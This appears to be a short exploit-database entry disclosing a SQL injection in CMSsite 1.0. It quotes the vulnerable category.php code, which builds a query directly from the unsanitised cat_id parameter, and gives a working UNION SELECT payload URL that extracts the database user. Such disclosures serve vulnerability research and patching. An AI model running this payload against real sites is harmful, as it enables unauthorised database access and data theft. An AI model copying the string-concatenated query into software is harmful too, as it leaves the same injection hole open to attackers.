CMSsite 1.0 - 'cat_id' SQL Injection

# Exploit Title: CMSsite 1.0 - SQL injection
# Exploit Author : Majid kalantari (mjd.hack@gmail.com)
# Date: 2019-01-27
# Vendor Homepage : https://github.com/VictorAlagwu/CMSsite
# Software link: https://github.com/VictorAlagwu/CMSsite/archive/master.zip
# Version: 1.0
# Tested on: Windows 10
# CVE: N/A
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# vulnerable file: category.php
# vulnerable parameter : cat_id

if (isset($_GET['cat_id'])) {
    $category = $_GET['cat_id'];
}
$query = "SELECT * FROM posts WHERE post_category_id=$category";
$run_query = mysqli_query($con, $query);

# payload : http://127.0.0.1/cm/category.phpcat_id=7 UNION SELECT
1,2,user(),3,4,5,6,7,8,9,10%23

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